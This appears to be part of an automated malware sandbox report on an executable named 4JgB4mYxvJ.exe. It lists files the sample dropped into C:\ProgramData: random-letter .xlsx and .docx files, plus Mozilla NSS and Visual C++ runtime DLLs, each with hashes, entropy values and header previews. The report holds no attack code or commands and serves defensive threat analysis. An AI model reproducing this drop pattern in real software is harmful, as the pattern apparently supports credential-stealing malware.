NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\ProgramData\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\ProgramData\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\ProgramData\PWZOQIFCAN.xlsx

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695900624002646
Encrypted:	false
SSDEEP:	12:55kzf0ILfo2TdftHFyQ9yi5pS2+w9gHtKgqin5q+GzA0Kb08Vb5nY1NLIeukWg/w:56zcILlTxtX9j5TijGzVURS5IBgSGVny
MD5:	BC4419B8B9970FEDCD704610C64179B0
SHA1:	71BD107584E1CFC5E5E75F765C064FC13228BC96
SHA-256:	A2115F382834559DCAB7139CB455FEFBEBBF07B89E2B4B8CFA3DC152491DAC1F
SHA-512:	454E3C24F975C0F56F152D24D32C544918CC7663B01CC50C717FAD082B201D4265DA9C5808AFA58573BC104AB739330AEAD49156FA7E7419B3D7CE130EAF3142
Malicious:	false
Preview:	PWZOQIFCANBQJPWANKEGOVMEWCFFLEMZUVJQOAQAXGCTWZTWYUTVQQWHVDWHRFTNLRYVNIIZGTGOYHBWUXFUJYWYCZRMHOWCZUBHGWNSMDGQIDGAHRDCIIAVORACBTBRHJNIBWQWQCOIRDJVGLMDNVRGTPPKQFQIFZZUCPJOKPUOXSLQIOBEKHODJTILUMNILLOSWDYCRTPWNPHXZSIAIJKAJTPYTYBSZZXRMUJHEQKDIDPVCZFDCTZVNAOYHSQJIJCWEYINXRRNANLPHUEMCLBTQNKFXRNDFJSUGZSSZUNTRNIONZRKWLCPJJQIACLJRBWZWPPPYJBUFAPIIHMQCTYHBSEEDXNTHPLWQREXFJXBUHCFLIGJQMAKBUMLPAYETALQAGUXNUAYOOFWKCXOAFADMANFEKSMOMEUZZFFPVSMHLOYRHXJRRAJALQVRIPUMMCCTGEVBPFLMLHCUGHBKDAURARQMEAWSQWOEBWEPWRBOUUAYHFAMWPSLAHUCSHDTXVLAVOAPCJJOBGMTOASVLNTADXOSSNCBIQVQFWDQSOVWWEBSZHOUAWBRJTVEBGJZEWIEYONXLCRVUQSPXKKPFJIUUWJMLGZBROUKKZUPWGOUIGYNFESGKBBHDAQFXCOZMLVFRUCCOPOYCHAFADUTZZFJYKNDQVJBTYSEVUHBFRNMKFNLBLTGEBDFOSOUEGYXVCXFUPTCVGNVFDGPBRNRCMUVADFIZDQITOTSQQNGGDMNJWJTVAKLEFUUJBLMKOVXJNLWUOGSIVLILHQAZSXDLYYVDPHGSRAAYZOADQUOKQJOANLTVTRHVTUTVJTLAQTNSTQOAIWGJAUNLGKTGFSZYKOTDQQLCHNAGGJECKGDNKFKBCFITQOVNMOIZLXAGNUBDQXAGJBSLDBFKOBLLWCHJAPFBBKFXQCXWXHIIQWQFYRIZJGDPOSSOCUECDWDQBRDSTMSCNGFBWWIQKBSVUPZMODDPXNVVXBEEMTHIHG

C:\ProgramData\VWDFPKGDUF.docx

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\ProgramData\ZGGKNSUKOP.docx

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\ProgramData\ZIPXYXWIOY.docx

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\ProgramData\ZIPXYXWIOY.xlsx

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: q27UFusYdn.exe, Detection: malicious, Browse Filename: ipR98bCqps.exe, Detection: malicious, Browse Filename: 5SLBlv4aUS.exe, Detection: malicious, Browse Filename: XAcuSo8KDa.exe, Detection: malicious, Browse Filename: WF2R8Bsptu.exe, Detection: malicious, Browse Filename: 5F25UVdGxt.exe, Detection: malicious, Browse Filename: f0FSseHktD.exe, Detection: malicious, Browse Filename: wipOhNpHIG.exe, Detection: malicious, Browse Filename: 8OeyVwIM3t.exe, Detection: malicious, Browse Filename: f6pwu0HWXe.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: q27UFusYdn.exe, Detection: malicious, Browse Filename: ipR98bCqps.exe, Detection: malicious, Browse Filename: 5SLBlv4aUS.exe, Detection: malicious, Browse Filename: XAcuSo8KDa.exe, Detection: malicious, Browse Filename: WF2R8Bsptu.exe, Detection: malicious, Browse Filename: 5F25UVdGxt.exe, Detection: malicious, Browse Filename: f0FSseHktD.exe, Detection: malicious, Browse Filename: wipOhNpHIG.exe, Detection: malicious, Browse Filename: 8OeyVwIM3t.exe, Detection: malicious, Browse Filename: f6pwu0HWXe.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
